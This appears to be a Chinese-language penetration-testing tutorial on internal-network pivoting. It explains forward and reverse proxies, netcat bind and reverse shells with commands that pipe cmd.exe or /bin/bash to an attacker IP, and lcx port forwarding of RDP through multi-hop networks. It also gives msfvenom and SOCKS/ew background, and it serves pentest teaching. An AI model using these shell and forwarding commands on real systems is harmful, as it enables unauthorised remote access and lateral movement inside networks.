在滲透測試中,當我們獲得了外網伺服器(如web伺服器,ftp伺服器,mali伺服器等等)的一定許可權後發現這臺伺服器可以直接或者間接的訪問內網。此時滲透測試進入後滲透階段,一般情況下,內網中的其他機器是不允許外網機器訪問的。這時候,我們可以透過 埠轉發(隧道) 或將這臺外網伺服器設定成為 代理,使得我們自己的攻擊機可以直接訪問與操作內網中的其他機器。實現這一過程的手段就叫做內網轉發
目的
滲透測試中,我們往往會面對十分複雜的內網環境,比如最常見的防火牆,它會限制特定埠的資料包出入,此時就需要內網轉發
轉發情景:
1.A可以訪問B的80埠,但是不能訪問B的3389埠。
2.A可以訪問B,B可以訪問C,但是A不可以訪問C,需要透過B轉發資料,讓A和C進行通訊。
代理方向
正向代理:正向代理是伺服器開放埠,客戶端主動訪問伺服器的埠
反向代理:反向代理是客戶端開發埠,伺服器連線客戶端,反向代理是相對於伺服器而言的,當我們請求 www.baidu.com 的時候,背後可能有成千上萬臺伺服器為我們服務,但具體是哪一臺,不需要知道,你只需要知道反向代理伺服器是誰就好了,www.baidu.com 就是我們的反向代理伺服器,反向代理伺服器會幫我們把請求轉發到真實的伺服器那裡去
內網轉發形式
1.反彈shell:在攻擊者機器,獲取受害者機器的命令列
2.反彈埠:受害者伺服器的某一個埠不能訪問,我們透過反彈埠的形式,讓攻擊者能夠訪問該埠,也叫埠轉發
3.反彈代理:將攻擊者的流量轉發到內網其他伺服器上
反彈shell
1.工具nc使用
條件:能夠訪問到受害者機器的開放埠
方式:tcp 連線是外網攻擊機發起的,連線被控伺服器
步驟一:將被控伺服器shell反彈到本地的4444埠,並監聽4444埠(受害機輸入)
nc -lvp 4444 -e cmd.exe (反彈windows shell)
nc -lvp 4444 -e /bin/bash (反彈linux shell)
步驟二:攻擊機連線被控伺服器的4444埠(攻擊機輸入)
nc -vv 受害機ip 4444
利用nc反彈shell
條件:防火牆開啟,不允許訪問目標埠(可直接關閉目標機防火牆,許可權不夠時利用nc反向連線)
方式:tcp連線是被控伺服器發起,連線外網攻擊機
步驟一:外網伺服器監聽4444埠
(攻擊機輸入)
nc -lvp 4444
步驟二:在被控伺服器反彈shell到外網伺服器的4444埠
(受害機輸入)
nc -e cmd.exe 攻擊機ip 4444(反彈windows shell)
nc -e /bin/bash 攻擊機ip 4444(反彈linux shell)
2.工具msf使用
msfconsole:作用:管理生成exp,管理反彈的shell,透過反彈的shell進行後滲透
模組介紹:exploits:攻擊指令碼 payloads:攻擊載荷(攻擊效果控制) auxiliaru:輔助模組(掃描工具等) post:後滲透模組(提取資訊) encoders編碼模組 nops:無操作生成器
msfvenom
作用:製作木馬
msfencode
作用:對木馬進行編碼
- 其他Linux反彈shell方法
方式:
利用系統自帶的bash和gawk
利用指令碼:python、perl、ruby、lua、php、jsp、aspx
利用第三方服務或工具:elnet、xterm、socat、nc
反彈埠
條件
1.訪問伺服器的xxxx埠時,由於一些原因無法訪問
原因:1.xxxx埠,防火牆沒有開放 2.伺服器處於公司內網,對外只發布了80埠 3.xxxx埠只允許內網連線.................
2.伺服器處於公司內網,我們沒有辦法直接訪問伺服器
3.伺服器處於公司內網,且無法與外網伺服器直接通訊,無法反彈shell
lcx工具使用
Lcx簡要使用介紹
三種模式
listen:監聽,同時監聽兩個埠:第一個是伺服器開放的,第二個是在本地新開一個用來操作的
tran:轉發,將一個埠的流量轉發到另一個埠
slave: 將一個外網埠和一個內網埠進行連線
先將lcx上傳到目標伺服器(有時還需要上傳到內網邊界機),之後再從以下幾種轉發方式進行選擇
LCX正向埠轉發
環境:xxxx埠不對外開放,但是yyyy埠對外開放
作用:
一般對外的伺服器,80,8080,53,21等等,xxxx埠沒有對外開放,但是有其他埠對外開放,此時可以本地埠轉發,轉發的埠必須沒有被其他服務佔用
基本:(防火牆允許xxxx流量透過)
1.被控伺服器輸入命令將xxxx埠轉發到本地(被控伺服器)的yyyy埠(本地埠轉發)
lcx -tran yyyy 127.0.0.1 xxxx
2.攻擊機連線被控伺服器的yyyy埠(mstsc遠端)
進階:(防火牆不允許xxxx埠流量透過)
使用reduh來進行轉發:
思路:Mstsc客戶端–>reDuh 代理–>HTTP tunne–>Web 伺服器–>3389
LCX反向埠轉發
1.攻擊機開啟監聽
lcx -listen 4444 12345
2.被控伺服器輸入命令,將埠轉發到攻擊機
lcx.exe -slave 攻擊機IP 埠 被控伺服器IP 埠
3. 攻擊機連線本地的12345埠(mstsc遠端,127.0.0.1:12345)
lcx多級級聯反彈內網主機埠
網路配置情況
內網邊界機2有兩個網路卡,一個與攻擊機1同網段,一個與目標伺服器3同網段(攻擊機1的ip:192.168.0.106,內網邊界機2的ip:192.168.16.129和10.1.1.1,目標伺服器3的ip:10.1.1.2)此時1-2,2-3通,1-3不通
情況一
環境:目標伺服器3不能訪問外網攻擊機1,但是可以訪問同網段的內網邊界機2,同時目標伺服器3的3389埠只能內網邊界機2訪問
1.攻擊機1開啟監聽
lcx -listen 4444 12345
2.內網邊界機2輸入命令,將埠轉發到攻擊機1
lcx.exe -slave 攻擊機1IP 埠 目標伺服器3IP 埠
3.在攻擊機1連線本地12345埠(mstsc遠端,127.0.0.1:12345)
情況二
環境:目標伺服器3不能訪問外網攻擊機1,但是可以訪問同網段的內網邊界機2,同時3389埠只能本地訪問,但是8080埠對外開放。
1.目標伺服器3輸入命令將3389埠轉發到本地的8080埠
lcx -tran 8080 127.0.0.1 3389
2.在內網邊界機2輸入命令,將目標伺服器3的8080埠轉發到攻擊機1
lcx -slave 攻擊機1IP 埠 目標伺服器3IP 埠
3.在攻擊機1上監聽埠
lcx –listen 4444 12345
4.外網攻擊機1連線本地12345埠(mstsc遠端,127.0.0.1:12345)
反彈代理
介紹
內網滲透不光只是反彈一個shell,反彈一個埠,我們更需要對內網進行更深一步的掃描和滲透,這時候就需要設定找到一個代理伺服器,充當外網和內網資料轉發的節點母的,所以出現了反彈代理,也叫反彈socket,進行反彈代理後,就可以訪問目標機的所有埠了,使用工具:ew,支援http,https等代理
Socks代理
全能代理,就像有很多跳線的轉接板,它只是簡單地將一端的系統連線到另外一端。支援多種協議,包括http、ftp請求及其它型別的請求。它分socks 4 和socks 5兩種型別,socks 4只支援TCP協議而socks 5支援TCP/UDP協議,還支援各種身份驗證機制等協議。其標準埠為1080。
原理:
socks代理相應的採用socks協議的代理伺服器就是SOCKS伺服器,是一種通用的代理伺服器。Socks是個電路級的底層閘道器,是DavidKoblas在1990年開發的,此後就一直作為Internet RFC標準的開放標準。Socks不要求應用程式遵循特定的作業系統平臺,Socks 代理與應用層代理、 HTTP 層代理不同,Socks代理只是簡單地傳遞資料包,而不必關心是何種應用協議(比如FTP、HTTP和NNTP請求)。所以,Socks代理比其他應用層代理要快得多。它通常繫結在代理伺服器的1080埠上。如果您在企業網或校園網上,需要透過防火牆或透過代理伺服器訪問Internet就可能需要使用SOCKS。一般情況下,對於撥號上網使用者都不需要使用它。注意,瀏覽網頁時常用的代理伺服器通常是專門的http代理,它和SOCKS是不同的。因此,能瀏覽網頁不等於您一定可以透過SOCKS訪問Internet。 常用的防火牆,或代理軟體都支援SOCKS,但需要其管理員開啟這一功能。如果不確信是否需要SOCKS或是否有SOCKS可用,請與您的網路管理員聯絡。為了使用socks,需要了解一下內容:
① SOCKS伺服器的IP地址
② SOCKS服務所在的埠
③ 這個SOCKS服務是否需要使用者認證?如果需要,要向你的網路管理員申請一個使用者和口令
知道了上述資訊,就可以把這些資訊填入“網路配置”中,或者在第一次登記時填入,就可以使用socks代理了。
實際應用:
在實際應用中SOCKS代理可以用作為:電子郵件、新聞組軟體、網路傳呼ICQ、網路聊天MIRC和使用代理伺服器打遊戲等等各種應用軟體當中。